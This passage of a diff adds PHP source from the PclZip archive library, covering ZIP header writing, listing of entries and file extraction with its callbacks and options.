(isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])) { + $p_remove_all_dir = $p_options[PCLZIP_OPT_REMOVE_ALL_PATH]; + } + else { + $p_remove_all_dir = 0; + } + + + // ----- Look for full name change + if (isset($p_filedescr['new_full_name'])) { + // ----- Remove drive letter if any + $v_stored_filename = PclZipUtilTranslateWinPath($p_filedescr['new_full_name']); + } + + // ----- Look for path and/or short name change + else { + + // ----- Look for short name change + // Its when we cahnge just the filename but not the path + if (isset($p_filedescr['new_short_name'])) { + $v_path_info = pathinfo($p_filename); + $v_dir = ''; + if ($v_path_info['dirname'] != '') { + $v_dir = $v_path_info['dirname'].'/'; + } + $v_stored_filename = $v_dir.$p_filedescr['new_short_name']; + } + else { + // ----- Calculate the stored filename + $v_stored_filename = $p_filename; + } + + // ----- Look for all path to remove + if ($p_remove_all_dir) { + $v_stored_filename = basename($p_filename); + } + // ----- Look for partial path remove + else if ($p_remove_dir != "") { + if (substr($p_remove_dir, -1) != '/') + $p_remove_dir .= "/"; + + if ( (substr($p_filename, 0, 2) == "./") + || (substr($p_remove_dir, 0, 2) == "./")) { + + if ( (substr($p_filename, 0, 2) == "./") + && (substr($p_remove_dir, 0, 2) != "./")) { + $p_remove_dir = "./".$p_remove_dir; + } + if ( (substr($p_filename, 0, 2) != "./") + && (substr($p_remove_dir, 0, 2) == "./")) { + $p_remove_dir = substr($p_remove_dir, 2); + } + } + + $v_compare = PclZipUtilPathInclusion($p_remove_dir, + $v_stored_filename); + if ($v_compare > 0) { + if ($v_compare == 2) { + $v_stored_filename = ""; + } + else { + $v_stored_filename = substr($v_stored_filename, + strlen($p_remove_dir)); + } + } + } + + // ----- Remove drive letter if any + $v_stored_filename = PclZipUtilTranslateWinPath($v_stored_filename); + + // ----- Look for path to add + if ($p_add_dir != "") { + if (substr($p_add_dir, -1) == "/") + $v_stored_filename = $p_add_dir.$v_stored_filename; + else + $v_stored_filename = $p_add_dir."/".$v_stored_filename; + } + } + + // ----- Filename (reduce the path of stored name) + $v_stored_filename = PclZipUtilPathReduction($v_stored_filename); + $p_filedescr['stored_filename'] = $v_stored_filename; + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privWriteFileHeader() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privWriteFileHeader(&$p_header) + { + $v_result=1; + + // ----- Store the offset position of the file + $p_header['offset'] = ftell($this->zip_fd); + + // ----- Transform UNIX mtime to DOS format mdate/mtime + $v_date = getdate($p_header['mtime']); + $v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2; + $v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday']; + + // ----- Packed data + $v_binary_data = pack("VvvvvvVVVvv", 0x04034b50, + $p_header['version_extracted'], $p_header['flag'], + $p_header['compression'], $v_mtime, $v_mdate, + $p_header['crc'], $p_header['compressed_size'], + $p_header['size'], + strlen($p_header['stored_filename']), + $p_header['extra_len']); + + // ----- Write the first 148 bytes of the header in the archive + fputs($this->zip_fd, $v_binary_data, 30); + + // ----- Write the variable fields + if (strlen($p_header['stored_filename']) != 0) + { + fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename'])); + } + if ($p_header['extra_len'] != 0) + { + fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']); + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privWriteCentralFileHeader() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privWriteCentralFileHeader(&$p_header) + { + $v_result=1; + + // TBC + //for(reset($p_header); $key = key($p_header); next($p_header)) { + //} + + // ----- Transform UNIX mtime to DOS format mdate/mtime + $v_date = getdate($p_header['mtime']); + $v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2; + $v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday']; + + + // ----- Packed data + $v_binary_data = pack("VvvvvvvVVVvvvvvVV", 0x02014b50, + $p_header['version'], $p_header['version_extracted'], + $p_header['flag'], $p_header['compression'], + $v_mtime, $v_mdate, $p_header['crc'], + $p_header['compressed_size'], $p_header['size'], + strlen($p_header['stored_filename']), + $p_header['extra_len'], $p_header['comment_len'], + $p_header['disk'], $p_header['internal'], + $p_header['external'], $p_header['offset']); + + // ----- Write the 42 bytes of the header in the zip file + fputs($this->zip_fd, $v_binary_data, 46); + + // ----- Write the variable fields + if (strlen($p_header['stored_filename']) != 0) + { + fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename'])); + } + if ($p_header['extra_len'] != 0) + { + fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']); + } + if ($p_header['comment_len'] != 0) + { + fputs($this->zip_fd, $p_header['comment'], $p_header['comment_len']); + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privWriteCentralHeader() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privWriteCentralHeader($p_nb_entries, $p_size, $p_offset, $p_comment) + { + $v_result=1; + + // ----- Packed data + $v_binary_data = pack("VvvvvVVv", 0x06054b50, 0, 0, $p_nb_entries, + $p_nb_entries, $p_size, + $p_offset, strlen($p_comment)); + + // ----- Write the 22 bytes of the header in the zip file + fputs($this->zip_fd, $v_binary_data, 22); + + // ----- Write the variable fields + if (strlen($p_comment) != 0) + { + fputs($this->zip_fd, $p_comment, strlen($p_comment)); + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privList() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privList(&$p_list) + { + $v_result=1; + + // ----- Magic quotes trick + $this->privDisableMagicQuotes(); + + // ----- Open the zip file + if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0) + { + // ----- Magic quotes trick + $this->privSwapBackMagicQuotes(); + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Read the central directory informations + $v_central_dir = array(); + if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) + { + $this->privSwapBackMagicQuotes(); + return $v_result; + } + + // ----- Go to beginning of Central Dir + @rewind($this->zip_fd); + if (@fseek($this->zip_fd, $v_central_dir['offset'])) + { + $this->privSwapBackMagicQuotes(); + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Read each entry + for ($i=0; $i<$v_central_dir['entries']; $i++) + { + // ----- Read the file header + if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1) + { + $this->privSwapBackMagicQuotes(); + return $v_result; + } + $v_header['index'] = $i; + + // ----- Get the only interesting attributes + $this->privConvertHeader2FileInfo($v_header, $p_list[$i]); + unset($v_header); + } + + // ----- Close the zip file + $this->privCloseFd(); + + // ----- Magic quotes trick + $this->privSwapBackMagicQuotes(); + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privConvertHeader2FileInfo() + // Description : + // This function takes the file informations from the central directory + // entries and extract the interesting parameters that will be given back. + // The resulting file infos are set in the array $p_info + // $p_info['filename'] : Filename with full path. Given by user (add), + // extracted in the filesystem (extract). + // $p_info['stored_filename'] : Stored filename in the archive. + // $p_info['size'] = Size of the file. + // $p_info['compressed_size'] = Compressed size of the file. + // $p_info['mtime'] = Last modification date of the file. + // $p_info['comment'] = Comment associated with the file. + // $p_info['folder'] = true/false : indicates if the entry is a folder or not. + // $p_info['status'] = status of the action on the file. + // $p_info['crc'] = CRC of the file content. + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privConvertHeader2FileInfo($p_header, &$p_info) + { + $v_result=1; + + // ----- Get the interesting attributes + $v_temp_path = PclZipUtilPathReduction($p_header['filename']); + $p_info['filename'] = $v_temp_path; + $v_temp_path = PclZipUtilPathReduction($p_header['stored_filename']); + $p_info['stored_filename'] = $v_temp_path; + $p_info['size'] = $p_header['size']; + $p_info['compressed_size'] = $p_header['compressed_size']; + $p_info['mtime'] = $p_header['mtime']; + $p_info['comment'] = $p_header['comment']; + $p_info['folder'] = (($p_header['external']&0x00000010)==0x00000010); + $p_info['index'] = $p_header['index']; + $p_info['status'] = $p_header['status']; + $p_info['crc'] = $p_header['crc']; + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privExtractByRule() + // Description : + // Extract a file or directory depending of rules (by index, by name, ...) + // Parameters : + // $p_file_list : An array where will be placed the properties of each + // extracted file + // $p_path : Path to add while writing the extracted files + // $p_remove_path : Path to remove (from the file memorized path) while writing the + // extracted files. If the path does not match the file path, + // the file is extracted with its memorized path. + // $p_remove_path does not apply to 'list' mode. + // $p_path and $p_remove_path are commulative. + // Return Values : + // 1 on success,0 or less on error (see error code list) + // -------------------------------------------------------------------------------- + function privExtractByRule(&$p_file_list, $p_path, $p_remove_path, $p_remove_all_path, &$p_options) + { + $v_result=1; + + // ----- Magic quotes trick + $this->privDisableMagicQuotes(); + + // ----- Check the path + if ( ($p_path == "") + || ( (substr($p_path, 0, 1) != "/") + && (substr($p_path, 0, 3) != "../") + && (substr($p_path,1,2)!=":/"))) + $p_path = "./".$p_path; + + // ----- Reduce the path last (and duplicated) '/' + if (($p_path != "./") && ($p_path != "/")) + { + // ----- Look for the path end '/' + while (substr($p_path, -1) == "/") + { + $p_path = substr($p_path, 0, strlen($p_path)-1); + } + } + + // ----- Look for path to remove format (should end by /) + if (($p_remove_path != "") && (substr($p_remove_path, -1) != '/')) + { + $p_remove_path .= '/'; + } + $p_remove_path_size = strlen($p_remove_path); + + // ----- Open the zip file + if (($v_result = $this->privOpenFd('rb')) != 1) + { + $this->privSwapBackMagicQuotes(); + return $v_result; + } + + // ----- Read the central directory informations + $v_central_dir = array(); + if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) + { + // ----- Close the zip file + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + + return $v_result; + } + + // ----- Start at beginning of Central Dir + $v_pos_entry = $v_central_dir['offset']; + + // ----- Read each entry + $j_start = 0; + for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++) + { + + // ----- Read next Central dir entry + @rewind($this->zip_fd); + if (@fseek($this->zip_fd, $v_pos_entry)) + { + // ----- Close the zip file + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Read the file header + $v_header = array(); + if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1) + { + // ----- Close the zip file + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + + return $v_result; + } + + // ----- Store the index + $v_header['index'] = $i; + + // ----- Store the file position + $v_pos_entry = ftell($this->zip_fd); + + // ----- Look for the specific extract rules + $v_extract = false; + + // ----- Look for extract by name rule + if ( (isset($p_options[PCLZIP_OPT_BY_NAME])) + && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) { + + // ----- Look if the filename is in the list + for ($j=0; ($j strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) + && (substr($v_header['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) { + $v_extract = true; + } + } + // ----- Look for a filename + elseif ($v_header['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) { + $v_extract = true; + } + } + } + + // ----- Look for extract by ereg rule + // ereg() is deprecated with PHP 5.3 + /* + else if ( (isset($p_options[PCLZIP_OPT_BY_EREG])) + && ($p_options[PCLZIP_OPT_BY_EREG] != "")) { + + if (ereg($p_options[PCLZIP_OPT_BY_EREG], $v_header['stored_filename'])) { + $v_extract = true; + } + } + */ + + // ----- Look for extract by preg rule + else if ( (isset($p_options[PCLZIP_OPT_BY_PREG])) + && ($p_options[PCLZIP_OPT_BY_PREG] != "")) { + + if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header['stored_filename'])) { + $v_extract = true; + } + } + + // ----- Look for extract by index rule + else if ( (isset($p_options[PCLZIP_OPT_BY_INDEX])) + && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) { + + // ----- Look if the index is in the list + for ($j=$j_start; ($j=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) { + $v_extract = true; + } + if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) { + $j_start = $j+1; + } + + if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) { + break; + } + } + } + + // ----- Look for no rule, which means extract all the archive + else { + $v_extract = true; + } + + // ----- Check compression method + if ( ($v_extract) + && ( ($v_header['compression'] != 8) + && ($v_header['compression'] != 0))) { + $v_header['status'] = 'unsupported_compression'; + + // ----- Look for PCLZIP_OPT_STOP_ON_ERROR + if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) + && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { + + $this->privSwapBackMagicQuotes(); + + PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_COMPRESSION, + "Filename '".$v_header['stored_filename']."' is " + ."compressed by an unsupported compression " + ."method (".$v_header['compression'].") "); + + return PclZip::errorCode(); + } + } + + // ----- Check encrypted files + if (($v_extract) && (($v_header['flag'] & 1) == 1)) { + $v_header['status'] = 'unsupported_encryption'; + + // ----- Look for PCLZIP_OPT_STOP_ON_ERROR + if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) + && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { + + $this->privSwapBackMagicQuotes(); + + PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, + "Unsupported encryption for " + ." filename '".$v_header['stored_filename'] + ."'"); + + return PclZip::errorCode(); + } + } + + // ----- Look for real extraction + if (($v_extract) && ($v_header['status'] != 'ok')) { + $v_result = $this->privConvertHeader2FileInfo($v_header, + $p_file_list[$v_nb_extracted++]); + if ($v_result != 1) { + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + return $v_result; + } + + $v_extract = false; + } + + // ----- Look for real extraction + if ($v_extract) + { + + // ----- Go to the file position + @rewind($this->zip_fd); + if (@fseek($this->zip_fd, $v_header['offset'])) + { + // ----- Close the zip file + $this->privCloseFd(); + + $this->privSwapBackMagicQuotes(); + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Look for extraction as string + if ($p_options[PCLZIP_OPT_EXTRACT_AS_STRING]) { + + $v_string = ''; + + // ----- Extracting the file + $v_result1 = $this->privExtractFileAsString($v_header, $v_string, $p_options); + if ($v_result1 < 1) { + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + return $v_result1; + } + + // ----- Get the only interesting attributes + if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted])) != 1) + { + // ----- Close the zip file + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + + return $v_result; + } + + // ----- Set the file content + $p_file_list[$v_nb_extracted]['content'] = $v_string; + + // ----- Next extracted file + $v_nb_extracted++; + + // ----- Look for user callback abort + if ($v_result1 == 2) { + break; + } + } + // ----- Look for extraction in standard output + elseif ( (isset($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) + && ($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) { + // ----- Extracting the file in standard output + $v_result1 = $this->privExtractFileInOutput($v_header, $p_options); + if ($v_result1 < 1) { + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + return $v_result1; + } + + // ----- Get the only interesting attributes + if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) { + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + return $v_result; + } + + // ----- Look for user callback abort + if ($v_result1 == 2) { + break; + } + } + // ----- Look for normal extraction + else { + // ----- Extracting the file + $v_result1 = $this->privExtractFile($v_header, + $p_path, $p_remove_path, + $p_remove_all_path, + $p_options); + if ($v_result1 < 1) { + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + return $v_result1; + } + + // ----- Get the only interesting attributes + if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) + { + // ----- Close the zip file + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + + return $v_result; + } + + // ----- Look for user callback abort + if ($v_result1 == 2) { + break; + } + } + } + } + + // ----- Close the zip file + $this->privCloseFd(); + $this->privSwapBackMagicQuotes(); + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privExtractFile() + // Description : + // Parameters : + // Return Values : + // + // 1 : ... ? + // PCLZIP_ERR_USER_ABORTED(2) : User ask for extraction stop in callback + // -------------------------------------------------------------------------------- + function privExtractFile(&$p_entry, $p_path, $p_remove_path, $p_remove_all_path, &$p_options) + { + $v_result=1; + + // ----- Read the file header + if (($v_result = $this->privReadFileHeader($v_header)) != 1) + { + // ----- Return + return $v_result; + } + + + // ----- Check that the file header is coherent with $p_entry info + if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) { + // TBC + } + + // ----- Look for all path to remove + if ($p_remove_all_path == true) { + // ----- Look for folder entry that not need to be extracted + if (($p_entry['external']&0x00000010)==0x00000010) { + + $p_entry['status'] = "filtered"; + + return $v_result; + } + + // ----- Get the basename of the path + $p_entry['filename'] = basename($p_entry['filename']); + } + + // ----- Look for path to remove + else if ($p_remove_path != "") + { + if (PclZipUtilPathInclusion($p_remove_path, $p_entry['filename']) == 2) + { + + // ----- Change the file status + $p_entry['status'] = "filtered"; + + // ----- Return + return $v_result; + } + + $p_remove_path_size = strlen($p_remove_path); + if (substr($p_entry['filename'], 0, $p_remove_path_size) == $p_remove_path) + { + + // ----- Remove the path + $p_entry['filename'] = substr($p_entry['filename'], $p_remove_path_size); + + } + } + + // ----- Add the path + if ($p_path != '') { + $p_entry['filename'] = $p_path."/".$p_entry['filename']; + } + + // ----- Check a base_dir_restriction + if (isset($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION])) { + $v_inclusion + = PclZipUtilPathInclusion($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION], + $p_entry['filename']); + if ($v_inclusion == 0) { + + PclZip::privErrorLog(PCLZIP_ERR_DIRECTORY_RESTRICTION, + "Filename '".$p_entry['filename']."' is " + ."outside PCLZIP_OPT_EXTRACT_DIR_RESTRICTION"); + + return PclZip::errorCode(); + } + } + + // ----- Look for pre-extract callback + if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) { + + // ----- Generate a local information + $v_local_header = array(); + $this->privConvertHeader2FileInfo($p_entry, $v_local_header); + + // ----- Call the callback + // Here I do not use call_user_func() because I need to send a reference to the + // header. + $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header); + if ($v_result == 0) { + // ----- Change the file status + $p_entry['status'] = "skipped"; + $v_result = 1; + } + + // ----- Look for abort result + if ($v_result == 2) { + // ----- This status is internal and will be changed in 'skipped' + $p_entry['status'] = "aborted"; + $v_result = PCLZIP_ERR_USER_ABORTED; + } + + // ----- Update the informations + // Only some fields can be modified + $p_entry['filename'] = $v_local_header['filename']; + } + + + // ----- Look if extraction should be done + if ($p_entry['status'] == 'ok') { + + // ----- Look for specific actions while the file exist + if (file_exists($p_entry['filename'])) + { + + // ----- Look if file is a directory + if (is_dir($p_entry['filename'])) + { + + // ----- Change the file status + $p_entry['status'] = "already_a_directory"; + + // ----- Look for PCLZIP_OPT_STOP_ON_ERROR + // For historical reason first PclZip implementation does not stop + // when this kind of error occurs. + if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) + && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { + + PclZip::privErrorLog(PCLZIP_ERR_ALREADY_A_DIRECTORY, + "Filename '".$p_entry['filename']."' is " + ."already used by an existing directory"); + + return PclZip::errorCode(); + } + } + // ----- Look if file is write protected + else if (!is_writeable($p_entry['filename'])) + { + + // ----- Change the file status + $p_entry['status'] = "write_protected"; + + // ----- Look for PCLZIP_OPT_STOP_ON_ERROR + // For historical reason first PclZip implementation does not stop + // when this kind of error occurs. + if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) + && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { + + PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, + "Filename '".$p_entry['filename']."' exists " + ."and is write protected"); + + return PclZip::errorCode(); + } + } + + // ----- Look if the extracted file is older + else if (filemtime($p_entry['filename']) > $p_entry['mtime']) + { + // ----- Change the file status + if ( (isset($p_options[PCLZIP_OPT_REPLACE_NEWER])) + && ($p_options[PCLZIP_OPT_REPLACE_NEWER]===true)) { + } + else { + $p_entry['status'] = "newer_exist"; + + // ----- Look for PCLZIP_OPT_STOP_ON_ERROR + // For historical reason first PclZip implementation does not stop + // when this kind of error occurs. + if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) + && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { + + PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, + "Newer version of '".$p_entry['filename']."' exists " + ."and option PCLZIP_OPT_REPLACE_NEWER is not selected"); + + return PclZip::errorCode(); + } + } + } + else { + } + } + + // ----- Check the directory availability and create it if necessary + else { + if ((($p_entry['external']&0x00000010)==0x00000010) || (substr($p_entry['filename'], -1) == '/')) + $v_dir_to_check = $p_entry['filename']; + else if (!strstr($p_entry['filename'], "/")) + $v_dir_to_check = ""; + else + $v_dir_to_check = dirname($p_entry['filename']); + + if (($v_result = $this->privDirCheck($v_dir_to_check, (($p_entry['external']&0x00000010)==0x00000010))) != 1) { + + // ----- Change the file status + $p_entry['status'] = "path_creation_fail"; + + // ----- Return + //return $v_result; + $v_result = 1; + } + } + } + + // ----- Look if extraction should be done + if ($p_entry['status'] == 'ok') { + + // ----- Do the extraction (if not a folder) + if (!(($p_entry['external']&0x00000010)==0x00000010)) + { + // ----- Look for not compressed file + if ($p_entry['compression'] == 0) { + + // ----- Opening destination file + if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) + { + + // ----- Change the file status + $p_entry['status'] = "write_error"; + + // ----- Return + return $v_result; + } + + + // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks + $v_size = $p_entry['compressed_size']; + while ($v_size != 0) + { + $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = @fread($this->zip_fd, $v_read_size); + /* Try to speed up the code + $v_binary_data = pack('a'.$v_read_size, $v_buffer); + @fwrite($v_dest_file, $v_binary_data, $v_read_size); + */ + @fwrite($v_dest_file, $v_buffer, $v_read_size); + $v_size -= $v_read_size; + } + + // ----- Closing the destination file + fclose($v_dest_file); + + // ----- Change the file mtime + touch($p_entry['filename'], $p_entry['mtime']); + + + } + else { + // ----- TBC + // Need to be finished + if (($p_entry['flag'] & 1) == 1) { + PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, 'File \''.$p_entry['filename'].'\' is encrypted. Encrypted files are not supported.'); + return PclZip::errorCode(); + } + + + // ----- Look for using temporary file to unzip + if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) + && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON]) + || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) + && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_entry['size'])) ) ) { + $v_result = $this->privExtractFileUsingTempFile($p_entry, $p_options); + if ($v_result < PCLZIP_ERR_NO_ERROR) { + return $v_result; + } + } + + // ----- Look for extract in memory + else { + + + // ----- Read the compressed file in a buffer (one shot) + $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']); + + // ----- Decompress the file + $v_file_content = @gzinflate($v_buffer); + unset($v_buffer); + if ($v_file_content === FALSE) { + + // ----- Change the file status + // TBC + $p_entry['status'] = "error"; + + return $v_result; + } + + // ----- Opening destination file + if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) { + + // ----- Change the file status + $p_entry['status'] = "write_error"; + + return $v_result; + } + + // ----- Write the uncompressed data + @fwrite($v_dest_file, $v_file_content, $p_entry['size']); + unset($v_file_content); + + // ----- Closing the destination file + @fclose($v_dest_file); + + } + + // ----- Change the file mtime + @touch($p_entry['filename'], $p_entry['mtime']); + } + + // ----- Look for chmod option + if (isset($p_options[PCLZIP_OPT_SET_CHMOD])) { + + // ----- Change the mode of the file + @chmod($p_entry['filename'], $p_options[PCLZIP_OPT_SET_CHMOD]); + } + + } + } + + // ----- Change abort status + if ($p_entry['status'] == "aborted") { + $p_entry['status'] = "skipped"; + } + + // ----- Look for post-extract callback + elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) { + + // ----- Generate a local information + $v_local_header = array(); + $this->privConvertHeader2FileInfo($p_entry, $v_local_header); + + // ----- Call the callback + // Here I do not use call_user_func() because I need to send a reference to the + // header. + $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header); + + // ----- Look for abort result + if ($v_result == 2) { + $v_result = PCLZIP_ERR_USER_ABORTED; + } + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privExtractFileUsingTempFile() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privExtractFileUsingTempFile(&$p_entry, &$p_options) + { + $v_result=1; + + // ----- Creates a temporary file + $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz'; + if (($v_dest_file = @fopen($v_gzip_temp_name, "wb")) == 0) { + fclose($v_file); + PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode'); + return PclZip::errorCode(); + } + + + // ----- Write gz file format header + $v_binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($p_entry['compression']), Chr(0x00), time(), Chr(0x00), Chr(3)); + @fwrite($v_dest_file, $v_binary_data, 10); + + // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks + $v_size = $p_entry['compressed_size']; + while ($v_size != 0) + { + $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = @fread($this->zip_fd, $v_read_size); + //$v_binary_data = pack('a'.$v_read_size, $v_buffer); + @fwrite($v_dest_file, $v_buffer, $v_read_size); + $v_size -= $v_read_size; + } + + // ----- Write gz file format footer + $v_binary_data = pack('VV', $p_entry['crc'], $p_entry['size']); + @fwrite($v_dest_file, $v_binary_data, 8); + + // ----- Close the temporary file + @fclose($v_dest_file); + + // ----- Opening destination file + if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) { + $p_entry['status'] = "write_error"; + return $v_result; + } + + // ----- Open the temporary gz file + if (($v_src_file = @gzopen($v_gzip_temp_name, 'rb')) == 0) { + @fclose($v_dest_file); + $p_entry['status'] = "read_error"; + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode'); + return PclZip::errorCode(); + } + + + // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks + $v_size = $p_entry['size']; + while ($v_size != 0) { + $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = @gzread($v_src_file, $v_read_size); + //$v_binary_data = pack('a'.$v_read_size, $v_buffer); + @fwrite($v_dest_file, $v_buffer, $v_read_size); + $v_size -= $v_read_size; + } + @fclose($v_dest_file); + @gzclose($v_src_file); + + // ----- Delete the temporary file + @unlink($v_gzip_temp_name); + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privExtractFileInOutput() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privExtractFileInOutput(&$p_entry, &$p_options) + { + $v_result=1; + + // ----- Read the file header + if (($v_result = $this->privReadFileHeader($v_header)) != 1) { + return $v_result; + } + + + // ----- Check that the file header is coherent with $p_entry info + if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) { + // TBC + } + + // ----- Look for pre-extract callback + if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) { + + // ----- Generate a local information + $v_local_header = array(); + $this->privConvertHeader2FileInfo($p_entry, $v_local_header); + + // ----- Call the callback + // Here I do not use call_user_func() because I need to send a reference to the + // header. +// eval('$v_result = '.$p_options[PCLZIP_CB_PRE_EXTRACT].'(PCLZIP_CB_PRE_EXTRACT, $v_local_header);'); + $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header); + if ($v_result == 0) { + // ----- Change the file status + $p_entry['status'] = "skipped"; + $v_result = 1; + } + + // 